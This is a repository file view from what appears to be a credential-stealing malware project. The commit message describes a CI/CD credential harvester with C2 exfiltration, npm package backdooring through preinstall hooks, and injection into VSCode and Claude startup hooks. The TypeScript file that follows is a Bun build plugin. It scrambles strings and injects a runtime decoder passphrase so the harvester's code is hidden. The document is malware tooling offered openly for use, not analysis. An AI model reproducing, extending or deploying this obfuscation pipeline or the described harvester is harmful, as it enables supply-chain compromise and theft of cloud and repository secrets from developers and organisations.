Files
TeamPCP_OSS efaf360d05 feat: initial Shai-Hulud credential harvesting and C2 framework
Full release of the multi-provider credential harvester targeting CI/CD environments.

Includes eight credential providers (filesystem, shell, GitHub Actions runner, AWS SSM,
AWS Secrets Manager, AWS STS, Kubernetes, HashiCorp Vault) with regex-based pattern
matching across 20+ credential types. Data is encrypted with AES-256-GCM + RSA-OAEP
and exfiltrated via a priority-ordered sender chain (HTTPS C2 domain fallbacking to
public GitHub repository commits with dead-man-switch persistence).

Three supply-chain mutators included: npm OIDC token exchange for OpenSearch-js,
npm token-based package backdooring with preinstall hooks, and GitHub branch injection
targeting VSCode/Claude startup hooks. Build pipeline with string obfuscation, log
stripping, and JavaScript control-flow flattening.
2026-05-11 10:00:00 +00:00

83 lines
2.4 KiB
TypeScript

import { plugin } from "bun";
import {
generateBuildPassphrase,
RUNTIME_PASSPHRASE_PLACEHOLDER,
transformSource,
} from "./scramble-shared";
// Provide a global identity stub for scramble() so that un-transformed
// source modules can be safely evaluated when we import StringScrambler
// from the source tree.
(globalThis as any).scramble = (s: string) => s;
// Dynamic import — MUST come after the stub is installed.
const { StringScrambler } = await import("../src/utils/stringtool");
const PASSPHRASE = generateBuildPassphrase();
console.log(
`[SCRAMBLE] Generated build passphrase (${PASSPHRASE.length} chars)`,
);
const scrambler = new StringScrambler(PASSPHRASE);
const RUNTIME_DECODER_FILE_REGEX = /[\\/]src[\\/]utils[\\/]runtimeDecoder\.ts$/;
const ENTRYPOINT_FILE_REGEX = /[\\/]src[\\/]index\.ts$/;
const QUOTED_PLACEHOLDER = `"${RUNTIME_PASSPHRASE_PLACEHOLDER}"`;
plugin({
name: "scramble",
setup(build) {
build.onLoad({ filter: /\.ts$/ }, async (args) => {
let code = await Bun.file(args.path).text();
if (RUNTIME_DECODER_FILE_REGEX.test(args.path)) {
if (!code.includes(QUOTED_PLACEHOLDER)) {
throw new Error(
`[SCRAMBLE] runtime decoder ${args.path} does not contain the ` +
`expected placeholder ${QUOTED_PLACEHOLDER}. The build ` +
`pipeline cannot inject a passphrase, which would lead to ` +
`garbled strings at runtime.`,
);
}
const literal = JSON.stringify(PASSPHRASE);
code = code.split(QUOTED_PLACEHOLDER).join(literal);
console.log(`[SCRAMBLE] Injected build passphrase into ${args.path}`);
return {
contents: code,
loader: "ts",
};
}
if (ENTRYPOINT_FILE_REGEX.test(args.path)) {
console.log(
`[SCRAMBLE] Prepending runtime decoder import to ${args.path}`,
);
code = `import "./utils/runtimeDecoder";\n${code}`;
}
console.log(`[SCRAMBLE] Processing: ${args.path}`);
const { code: transformed, replacements } = transformSource(
code,
scrambler,
"[SCRAMBLE]",
args.path,
);
if (replacements > 0) {
console.log(
`[SCRAMBLE] Encoded ${replacements} call(s) in ${args.path}`,
);
}
return {
contents: transformed,
loader: "ts",
};
});
},
});